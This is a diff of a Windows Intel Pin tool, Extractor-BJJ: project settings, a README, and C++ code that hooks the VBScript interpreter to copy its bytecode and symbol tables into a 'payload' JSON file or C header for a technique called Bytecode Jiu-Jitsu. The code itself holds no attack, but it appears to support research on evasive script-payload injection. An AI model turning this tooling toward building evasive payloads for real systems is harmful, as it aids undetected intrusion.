<AdditionalLibraryDirectories>..\..\..\intel64\lib;..\..\..\intel64\lib-ext;..\..\..\extras\xed-intel64\lib;..\..\..\intel64\runtime\pincrt;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>false</OptimizeReferences>
|
||||
<EntryPointSymbol>Ptrace_DllMainCRTStartup</EntryPointSymbol>
|
||||
<BaseAddress>0xC5000000</BaseAddress>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<AllowIsolation>true</AllowIsolation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<AdditionalOptions>/GR- /GS- /EHs- /EHa- /FP:strict /Oi- /FIinclude/msvc_compat.h %(AdditionalOptions)</AdditionalOptions>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<AdditionalIncludeDirectories>..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-ia32\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>TARGET_IA32;HOST_IA32;TARGET_WINDOWS;PIN_CRT=1;__i386__;_LIBCPP_DISABLE_AVAILABILITY;_LIBCPP_NO_VCRUNTIME;__BIONIC__</PreprocessorDefinitions>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<ExceptionHandling>
|
||||
</ExceptionHandling>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<EnableEnhancedInstructionSet>NotSet</EnableEnhancedInstructionSet>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>
|
||||
</DebugInformationFormat>
|
||||
<DisableSpecificWarnings>4530;%(DisableSpecificWarnings)</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>/export:main %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>pin.lib;xed.lib;pinipc.lib;c++.lib;pincrt.lib;kernel32.lib;crtbeginS.obj</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\..\..\ia32\lib;..\..\..\ia32\lib-ext;..\..\..\extras\xed-ia32\lib;..\..\..\ia32\runtime\pincrt;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<LinkTimeCodeGeneration>
|
||||
</LinkTimeCodeGeneration>
|
||||
<EntryPointSymbol>Ptrace_DllMainCRTStartup%4012</EntryPointSymbol>
|
||||
<BaseAddress>0x55000000</BaseAddress>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<AdditionalOptions>/GR- /GS- /EHs- /EHa- /FP:strict /Oi- /FIinclude/msvc_compat.h %(AdditionalOptions)</AdditionalOptions>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<AdditionalIncludeDirectories>..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-intel64\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86_64;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>TARGET_IA32E;HOST_IA32E;TARGET_WINDOWS;PIN_CRT=1;__LP64__;_LIBCPP_DISABLE_AVAILABILITY;_LIBCPP_NO_VCRUNTIME;__BIONIC__</PreprocessorDefinitions>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<ExceptionHandling>
|
||||
</ExceptionHandling>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>
|
||||
</DebugInformationFormat>
|
||||
<DisableSpecificWarnings>4530;%(DisableSpecificWarnings)</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>/export:main %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>pin.lib;xed.lib;pinipc.lib;c++.lib;pincrt.lib;kernel32.lib;crtbeginS.obj</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\..\..\intel64\lib;..\..\..\intel64\lib-ext;..\..\..\extras\xed-intel64\lib;..\..\..\intel64\runtime\pincrt;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<LinkTimeCodeGeneration>
|
||||
</LinkTimeCodeGeneration>
|
||||
<EntryPointSymbol>Ptrace_DllMainCRTStartup</EntryPointSymbol>
|
||||
<BaseAddress>0xC5000000</BaseAddress>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,97 @@
|
||||
# Extractor-BJJ
|
||||
|
||||
`Extractor-BJJ` is a tool based on Intel Pin that extracts bytecode and symbol tables for Bytecode Jiu-Jitsu.
|
||||
|
||||
## Build
|
||||
|
||||
### Setup Visual Studio
|
||||
|
||||
1. Download and install Visual Studio
|
||||
|
||||
2. Install the following components using Visual Studio Installer
|
||||
- C++ Clang Compiler for Windows
|
||||
- MSBuild Support for LLVM (clang-cl) toolset
|
||||
|
||||
### Setup Intel Pin
|
||||
|
||||
1. Download Intel Pin 3.31 for Windows (LLVM clang-cl) from [here](https://www.intel.com/content/www/us/en/developer/articles/tool/pin-a-binary-instrumentation-tool-downloads.html) or [here (direct link)](https://software.intel.com/sites/landingpage/pintool/downloads/pin-external-3.31-98869-gfa6f126a8-clang-windows.zip)
|
||||
|
||||
2. Extract it to the arbitrary directory
|
||||
|
||||
### Build Extractor-BJJ
|
||||
|
||||
1. Clone this repository
|
||||
|
||||
2. Place the Extractor-BJJ directory to `pin-external-3.31-98869-gfa6f126a8-clang-windows\pin-external-3.31-98869-gfa6f126a8-clang-windows\source\tools`
|
||||
|
||||
3. Open `Extractor-BJJ.sln`
|
||||
|
||||
4. Build Solution
|
||||
|
||||
## Test
|
||||
|
||||
1. Open Command Prompt
|
||||
|
||||
2. Move to the Extractor-BJJ directory
|
||||
|
||||
3. Execute `run.bat`
|
||||
|
||||
## Tested Environment
|
||||
|
||||
|Component|Version|Note|
|
||||
|-|-|-|
|
||||
|OS|Windows 11 version 23H2 x64|Built with `en-us_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso`|
|
||||
|Toolchain|Microsoft Visual Studio 2022 with LLVM clang-cl||
|
||||
|Framework|Intel Pin 3.31 for Windows (LLVM clang-cl)|
|
||||
|Target interpreters|VBScript 5.812.10240.16384||
|
||||
|
||||
## Preparation
|
||||
|
||||
Extractor-BJJ require a `config` file that contain the following information regarding the internal structures of the target interpreter.
|
||||
|
||||
- Module name of the target interpreter
|
||||
- Offset to the interpretation function from the image base
|
||||
- Argument index in the interpreter function that contains the pointer to the management structure
|
||||
- Reference offsets required to traverse from the management structure to bytecode, symbol tables, and the virtual program counter (VPC)
|
||||
|
||||
```json
|
||||
{
|
||||
"interp_module_name": "C:\\Windows\\System32\\vbscript.dll",
|
||||
"interp_func_offset": 33968,
|
||||
"management_structure_index": 1,
|
||||
"bytecode": {
|
||||
"reference_offsets": [
|
||||
480
|
||||
]
|
||||
},
|
||||
"symbol_tables": [
|
||||
{
|
||||
"type": 2,
|
||||
"scope": 0,
|
||||
"reference_offsets": [
|
||||
496
|
||||
],
|
||||
"forward_link_offset": 0
|
||||
}
|
||||
],
|
||||
"vpc": {
|
||||
"reference_offsets": [
|
||||
0,
|
||||
472
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
Specify the config file, output file format (JSON/C_HEADER), output file name, and the commandline to execute target script with the interpreter.
|
||||
|
||||
```sh
|
||||
> pin.exe -t Extractor-BJJ.dll -c <config_file> -p <output_file_format[JSON|C_HEADER]> -o <output_file_name> -- <commandline_to_execute_target_script>
|
||||
```
|
||||
|
||||
Example:
|
||||
```sh
|
||||
> pin.exe -t Extractor-BJJ.dll -c config.json -p C_HEADER -o payload.h -- cscript.exe test.vbs
|
||||
```
|
||||
@@ -0,0 +1,24 @@
|
||||
#ifndef _EXTRACTOR_BJJ_COMMON_H_
|
||||
#define _EXTRACTOR_BJJ_COMMON_H_
|
||||
|
||||
#include "pin.H"
|
||||
// #include <spdlog/spdlog.h>
|
||||
#include <cstring>
|
||||
#include <iostream>
|
||||
#include <unordered_map>
|
||||
#include <vector>
|
||||
|
||||
using std::cerr;
|
||||
using std::cout;
|
||||
using std::dec;
|
||||
using std::endl;
|
||||
using std::hex;
|
||||
using std::noshowbase;
|
||||
using std::setfill;
|
||||
using std::setw;
|
||||
using std::showbase;
|
||||
using std::string;
|
||||
using std::unordered_map;
|
||||
using std::vector;
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_COMMON_H_
|
||||
@@ -0,0 +1,21 @@
|
||||
#include "config.h"
|
||||
|
||||
|
||||
void deserialize_config(std::string config_json_string, Config& config) {
|
||||
auto config_json = json::parse(config_json_string);
|
||||
|
||||
config.interp_module_name = config_json.at("interp_module_name").get<std::string>();
|
||||
config.interp_func_offset = config_json.at("interp_func_offset").get<off_t>();
|
||||
config.management_structure_index = config_json.at("management_structure_index").get<int>();
|
||||
config_json.at("bytecode").at("reference_offsets").get_to(config.bytecode.reference_offsets);
|
||||
config_json.at("vpc").at("reference_offsets").get_to(config.vpc.reference_offsets);
|
||||
auto symbol_tables = config_json.at("symbol_tables");
|
||||
for (auto it = symbol_tables.begin(); it != symbol_tables.end(); it++) {
|
||||
SymbolTableConfig symbol_table_config;
|
||||
symbol_table_config.type = it->at("type");
|
||||
symbol_table_config.scope = it->at("scope");
|
||||
it->at("reference_offsets").get_to(symbol_table_config.reference_offsets);
|
||||
symbol_table_config.forward_link_offset = it->at("forward_link_offset");
|
||||
config.symbol_tables.push_back(symbol_table_config);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
#ifndef _EXTRACTOR_BJJ_CONFIG_H_
|
||||
#define _EXTRACTOR_BJJ_CONFIG_H_
|
||||
|
||||
#include "common.h"
|
||||
#include <nlohmann/json.hpp>
|
||||
|
||||
using json = nlohmann::json;
|
||||
|
||||
|
||||
typedef struct _BytecodeConfig {
|
||||
std::vector<off_t> reference_offsets;
|
||||
} BytecodeConfig;
|
||||
|
||||
typedef struct _SymbolTableConfig {
|
||||
UINT8 type;
|
||||
UINT8 scope;
|
||||
std::vector<off_t> reference_offsets;
|
||||
off_t forward_link_offset;
|
||||
} SymbolTableConfig;
|
||||
|
||||
typedef struct _VPCConfig {
|
||||
std::vector<off_t> reference_offsets;
|
||||
} VPCConfig;
|
||||
|
||||
typedef struct _Config {
|
||||
std::string interp_module_name;
|
||||
off_t interp_func_offset;
|
||||
int management_structure_index;
|
||||
BytecodeConfig bytecode;
|
||||
std::vector<SymbolTableConfig> symbol_tables;
|
||||
VPCConfig vpc;
|
||||
} Config;
|
||||
|
||||
void deserialize_config(std::string config_json_string, Config& config);
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_CONFIG_H_
|
||||
@@ -0,0 +1,12 @@
|
||||
#include "debug.h"
|
||||
|
||||
VOID wait_for_debugger_attach(UINT32 sleep_seconds) {
|
||||
cout << "[+] Waiting for debugger attach ("
|
||||
<< dec
|
||||
<< sleep_seconds
|
||||
<< " sec sleep) ..." << endl;
|
||||
|
||||
WINDOWS:: Sleep(sleep_seconds * 1000);
|
||||
|
||||
cout << "[+] Sleep finished.";
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#ifndef _EXTRACTOR_BJJ_DEBUG_H_
|
||||
#define _EXTRACTOR_BJJ_DEBUG_H_
|
||||
|
||||
#include "common.h"
|
||||
namespace WINDOWS
|
||||
{
|
||||
#define _WINDOWS_H_PATH_ C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um
|
||||
// #define _WINDOWS_H_PATH_ ..\..\..\extras\crt\include
|
||||
#include <Windows.h>
|
||||
}
|
||||
|
||||
VOID wait_for_debugger_attach(UINT32 sleep_seconds);
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_DEBUG_H_
|
||||
@@ -0,0 +1,167 @@
|
||||
#include "extract.h"
|
||||
|
||||
// Function to extract a specific argument as an address
|
||||
ADDRINT extract_management_structure_addr(CONTEXT *ctxt, ADDRINT *stack_ptr, size_t arg_index) {
|
||||
bool is_64bit = (sizeof(ADDRINT) == 8);
|
||||
arg_index--;
|
||||
|
||||
if (is_64bit) {
|
||||
if (arg_index < 4) {
|
||||
switch (arg_index) {
|
||||
case 0:
|
||||
return PIN_GetContextReg(ctxt, REG_RCX);
|
||||
case 1:
|
||||
return PIN_GetContextReg(ctxt, REG_RDX);
|
||||
case 2:
|
||||
return PIN_GetContextReg(ctxt, REG_R8);
|
||||
case 3:
|
||||
return PIN_GetContextReg(ctxt, REG_R9);
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
return *(stack_ptr + (arg_index - 4));
|
||||
}
|
||||
} else {
|
||||
return *(stack_ptr + arg_index);
|
||||
}
|
||||
}
|
||||
|
||||
// Function to traverse a structure using offsets
|
||||
ADDRINT dereference_forward(ADDRINT base_addr, const vector<off_t>& reference_offsets) {
|
||||
ADDRINT current_addr;
|
||||
|
||||
current_addr = base_addr;
|
||||
for (auto offset : reference_offsets) {
|
||||
cout << "[+] Current address: "
|
||||
<< (VOID*)current_addr
|
||||
<< endl;
|
||||
cout << "[+] Offset: "
|
||||
<< showbase
|
||||
<< hex
|
||||
<< offset
|
||||
<< endl;
|
||||
|
||||
if (current_addr == 0) {
|
||||
cerr << "Null pointer encountered during structure traversal." << endl;
|
||||
return 0;
|
||||
}
|
||||
|
||||
cout << "[+] Next address: "
|
||||
<< (VOID *)(current_addr + offset)
|
||||
<< endl;
|
||||
current_addr = *reinterpret_cast<ADDRINT *>(current_addr + offset);
|
||||
}
|
||||
|
||||
return current_addr;
|
||||
}
|
||||
|
||||
ADDRINT find_bytecode_addr(ADDRINT management_structure_addr, BytecodeConfig config) {
|
||||
return dereference_forward(management_structure_addr, config.reference_offsets);
|
||||
}
|
||||
|
||||
ADDRINT find_symbol_table_addr(ADDRINT management_structure_addr, SymbolTableConfig config) {
|
||||
return dereference_forward(management_structure_addr, config.reference_offsets);
|
||||
}
|
||||
|
||||
Bytecode extract_bytecode(ADDRINT management_structure_addr, BytecodeConfig config) {
|
||||
Bytecode bytecode;
|
||||
ADDRINT bytecode_addr;
|
||||
|
||||
cout << "[+] Finding bytecode cache ..." << endl;
|
||||
|
||||
bytecode_addr = find_bytecode_addr(management_structure_addr, config);
|
||||
bytecode.len = lookup_heap_size(bytecode_addr);
|
||||
|
||||
cout << "[+] Found bytecode address: "
|
||||
<< (VOID*)bytecode_addr
|
||||
<< endl;
|
||||
cout << "[+] Found bytecode size: "
|
||||
<< dec
|
||||
<< bytecode.len
|
||||
<< endl;
|
||||
|
||||
if (bytecode.len == 0) {
|
||||
bytecode.len = 0x100;
|
||||
cout << "[+] Bytecode size is set to 0x100." << endl;
|
||||
}
|
||||
|
||||
bytecode.bytes.resize(bytecode.len);
|
||||
PIN_SafeCopy(bytecode.bytes.data(), reinterpret_cast<void*>(bytecode_addr), bytecode.len);
|
||||
|
||||
bytecode.len = bytecode.bytes.size();
|
||||
cout << "[+] Extracted bytecode size: "
|
||||
<< dec
|
||||
<< bytecode.len
|
||||
<< endl;
|
||||
cout << "[+] Extracted bytecode bytes: ";
|
||||
for (auto i = 0; i < bytecode.len; i++) {
|
||||
cout << "\\x"
|
||||
<< hex
|
||||
<< setw(2)
|
||||
<< setfill('0')
|
||||
<< noshowbase
|
||||
<< (int)bytecode.bytes[i];
|
||||
}
|
||||
cout << endl;
|
||||
|
||||
return bytecode;
|
||||
}
|
||||
|
||||
ValueObject extract_value_object(ADDRINT value_object_addr) {
|
||||
ValueObject value_object;
|
||||
|
||||
value_object.len = lookup_heap_size(value_object_addr);
|
||||
|
||||
cout << "[+] Found value object address: "
|
||||
<< (VOID*)value_object_addr
|
||||
<< endl;
|
||||
cout << "[+] Found symbol table size: "
|
||||
<< dec
|
||||
<< value_object.len
|
||||
<< endl;
|
||||
|
||||
if (value_object.len == 0) {
|
||||
value_object.len = 0x100;
|
||||
cout << "[+] Symbol table size is set to 0x100." << endl;
|
||||
}
|
||||
|
||||
value_object.bytes.resize(value_object.len);
|
||||
PIN_SafeCopy(value_object.bytes.data(), reinterpret_cast<void*>(value_object_addr), value_object.len);
|
||||
|
||||
value_object.len = value_object.bytes.size();
|
||||
cout << "[+] Extracted value object size: "
|
||||
<< dec
|
||||
<< value_object.len
|
||||
<< endl;
|
||||
cout << "[+] Extracted value object bytes: ";
|
||||
for (auto i = 0; i < value_object.len; i++) {
|
||||
cout << "\\x"
|
||||
<< hex
|
||||
<< setw(2)
|
||||
<< setfill('0')
|
||||
<< noshowbase
|
||||
<< (int)value_object.bytes[i];
|
||||
}
|
||||
cout << endl;
|
||||
|
||||
return value_object;
|
||||
}
|
||||
|
||||
SymbolTable extract_symbol_table(ADDRINT management_structure_addr, SymbolTableConfig config) {
|
||||
SymbolTable symbol_table;
|
||||
ADDRINT symbol_table_addr;
|
||||
|
||||
cout << "[+] Finding symbol table ..." << endl;
|
||||
|
||||
symbol_table_addr = find_symbol_table_addr(management_structure_addr, config);
|
||||
symbol_table.scope = kSymbolTableScopeGlobal;
|
||||
|
||||
cout << "[+] Found symbol table address: "
|
||||
<< (VOID*)symbol_table_addr
|
||||
<< endl;
|
||||
|
||||
symbol_table.value_objects.push_back(extract_value_object(symbol_table_addr));
|
||||
|
||||
return symbol_table;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#ifndef _EXTRACTOR_BJJ_EXTRACT_H_
|
||||
#define _EXTRACTOR_BJJ_EXTRACT_H_
|
||||
|
||||
#include "common.h"
|
||||
#include "config.h"
|
||||
#include "memory.h"
|
||||
#include "payload.h"
|
||||
|
||||
ADDRINT extract_management_structure_addr(CONTEXT *ctxt, ADDRINT *stack_ptr, size_t arg_index);
|
||||
ADDRINT find_bytecode_addr(ADDRINT management_structure_addr, BytecodeConfig config);
|
||||
ADDRINT find_symbol_table_addr(ADDRINT management_structure_addr, SymbolTableConfig config);
|
||||
Bytecode extract_bytecode(ADDRINT management_structure_addr, BytecodeConfig config);
|
||||
SymbolTable extract_symbol_table(ADDRINT management_structure_addr, SymbolTableConfig config);
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_EXTRACT_H_
|
||||
@@ -0,0 +1,208 @@
|
||||
#include "handler.h"
|
||||
|
||||
extern std::string output_payload_file_name;
|
||||
extern UINT8 output_payload_file_type;
|
||||
extern unordered_map<ADDRINT, UINT32> heap_allocations;
|
||||
extern PIN_MUTEX heap_mutex;
|
||||
size_t allocated_bytes;
|
||||
|
||||
VOID hdlr_interp_func_before(CONTEXT* ctxt, ADDRINT* stack_ptr, Config* config) {
|
||||
Payload payload;
|
||||
ADDRINT management_structure_addr;
|
||||
vector<UINT8> bytecode_bytes;
|
||||
vector<UINT8> symbol_table_bytes;
|
||||
|
||||
cout << "[+] Finding management structure address ..." << endl;
|
||||
management_structure_addr = extract_management_structure_addr(ctxt, stack_ptr, config->management_structure_index);
|
||||
cout << "[+] Found management structure address: "
|
||||
<< (void*)management_structure_addr
|
||||
<< endl;
|
||||
|
||||
payload.bytecode = extract_bytecode(management_structure_addr, config->bytecode);
|
||||
for (auto it = config->symbol_tables.begin(); it != config->symbol_tables.end(); it++)
|
||||
payload.symbol_tables.push_back(extract_symbol_table(management_structure_addr, *it));
|
||||
|
||||
if (output_payload_file_type == kPayloadFileTypeJson) {
|
||||
save_payload_to_json(payload, output_payload_file_name);
|
||||
}
|
||||
else if (output_payload_file_type == kPayloadFileTypeCHeader) {
|
||||
save_payload_to_header(payload, output_payload_file_name);
|
||||
}
|
||||
|
||||
// wait_for_debugger_attach(30);
|
||||
}
|
||||
|
||||
VOID hdlr_CoTaskMemAlloc_before(CHAR *name, size_t bytes) {
|
||||
allocated_bytes = bytes;
|
||||
}
|
||||
|
||||
VOID hdlr_CoTaskMemAlloc_after(CHAR *name, ADDRINT allocated_addr) {
|
||||
if (allocated_addr) {
|
||||
PIN_MutexLock(&heap_mutex);
|
||||
heap_allocations[allocated_addr] = allocated_bytes;
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
|
||||
std::cout << "[+] CoTaskMemAlloc called: Address="
|
||||
<< (VOID *)allocated_addr
|
||||
<< ", Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
} else {
|
||||
std::cerr << "[+] CoTaksMemAlloc failed for Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
VOID hdlr_GlobalAlloc_before(CHAR *name, size_t bytes) {
|
||||
allocated_bytes = bytes;
|
||||
}
|
||||
|
||||
VOID hdlr_GlobalAlloc_after(CHAR *name, ADDRINT allocated_addr) {
|
||||
// TODO: Parse DECLSPEC_ALLOCATOR HGLOBAL
|
||||
if (allocated_addr) {
|
||||
PIN_MutexLock(&heap_mutex);
|
||||
heap_allocations[allocated_addr] = allocated_bytes;
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
|
||||
std::cout << "[+] GlobalAlloc called: Address="
|
||||
<< (VOID *)allocated_addr
|
||||
<< ", Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
} else {
|
||||
std::cerr << "[+] GlobalAlloc failed for Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
VOID hdlr_LocalAlloc_before(CHAR *name, size_t bytes) {
|
||||
allocated_bytes = bytes;
|
||||
}
|
||||
|
||||
VOID hdlr_LocalAlloc_after(CHAR *name, ADDRINT allocated_addr) {
|
||||
// TODO: Parse DECLSPEC_ALLOCATOR HGLOBAL
|
||||
if (allocated_addr) {
|
||||
PIN_MutexLock(&heap_mutex);
|
||||
heap_allocations[allocated_addr] = allocated_bytes;
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
|
||||
std::cout << "[+] LocalAlloc called: Address="
|
||||
<< (VOID *)allocated_addr
|
||||
<< ", Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
} else {
|
||||
std::cerr << "[+] LocalAlloc failed for Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
VOID hdlr_HeapAlloc_before(CHAR *name, size_t bytes) {
|
||||
allocated_bytes = bytes;
|
||||
}
|
||||
|
||||
VOID hdlr_HeapAlloc_after(CHAR *name, ADDRINT allocated_addr) {
|
||||
// TODO: Parse DECLSPEC_ALLOCATOR HGLOBAL
|
||||
if (allocated_addr) {
|
||||
PIN_MutexLock(&heap_mutex);
|
||||
heap_allocations[allocated_addr] = allocated_bytes;
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
|
||||
std::cout << "[+] HeapAlloc called: Address="
|
||||
<< (VOID *)allocated_addr
|
||||
<< ", Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
} else {
|
||||
std::cerr << "[+] HeapAlloc failed for Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
VOID hdlr_malloc_before(CHAR *name, size_t bytes) {
|
||||
allocated_bytes = bytes;
|
||||
}
|
||||
|
||||
VOID hdlr_malloc_after(CHAR *name, ADDRINT allocated_addr) {
|
||||
if (allocated_addr) {
|
||||
PIN_MutexLock(&heap_mutex);
|
||||
heap_allocations[allocated_addr] = allocated_bytes;
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
|
||||
std::cout << "[+] malloc called: Address="
|
||||
<< (VOID *)allocated_addr
|
||||
<< ", Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
else {
|
||||
std::cerr << "[+] malloc failed for Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes
|
||||
<< " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
VOID hdlr_operator_new_before(CHAR *name, size_t bytes) {
|
||||
allocated_bytes = bytes;
|
||||
}
|
||||
|
||||
VOID hdlr_operator_new_after(CHAR *name, ADDRINT allocated_addr) {
|
||||
if (allocated_addr) {
|
||||
PIN_MutexLock(&heap_mutex);
|
||||
heap_allocations[allocated_addr] = allocated_bytes;
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
|
||||
std::cout << "[+] operator new called: Address="
|
||||
<< (VOID *)allocated_addr
|
||||
<< ", Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
else {
|
||||
std::cerr << "[+] operator new failed for Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes
|
||||
<< " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
VOID hdlr_VirtualAlloc_before(CHAR *name, size_t bytes) {
|
||||
allocated_bytes = bytes;
|
||||
}
|
||||
|
||||
VOID hdlr_VirtualAlloc_after(CHAR *name, ADDRINT allocated_addr) {
|
||||
if (allocated_addr) {
|
||||
PIN_MutexLock(&heap_mutex);
|
||||
heap_allocations[allocated_addr] = allocated_bytes;
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
|
||||
std::cout << "[+] VirtualAlloc called: Address="
|
||||
<< (VOID *)allocated_addr
|
||||
<< ", Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
} else {
|
||||
std::cerr << "[+] VirtualAlloc failed for Size="
|
||||
<< std::dec
|
||||
<< allocated_bytes << " bytes"
|
||||
<< std::endl;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
#ifndef _EXTRACTOR_BJJ_HANDLER_H_
|
||||
#define _EXTRACTOR_BJJ_HANDLER_H_
|
||||
|
||||
#include "config.h"
|
||||
#include "common.h"
|
||||
#include "debug.h"
|
||||
#include "extract.h"
|
||||
#include "output.h"
|
||||
#include "payload.h"
|
||||
|
||||
VOID hdlr_interp_func_before(CONTEXT *ctxt, ADDRINT *stack_ptr, Config *config_in);
|
||||
VOID hdlr_CoTaskMemAlloc_before(CHAR* name, size_t bytes);
|
||||
VOID hdlr_CoTaskMemAlloc_after(CHAR* name, ADDRINT allocated_addr);
|
||||
VOID hdlr_GlobalAlloc_before(CHAR* name, size_t bytes);
|
||||
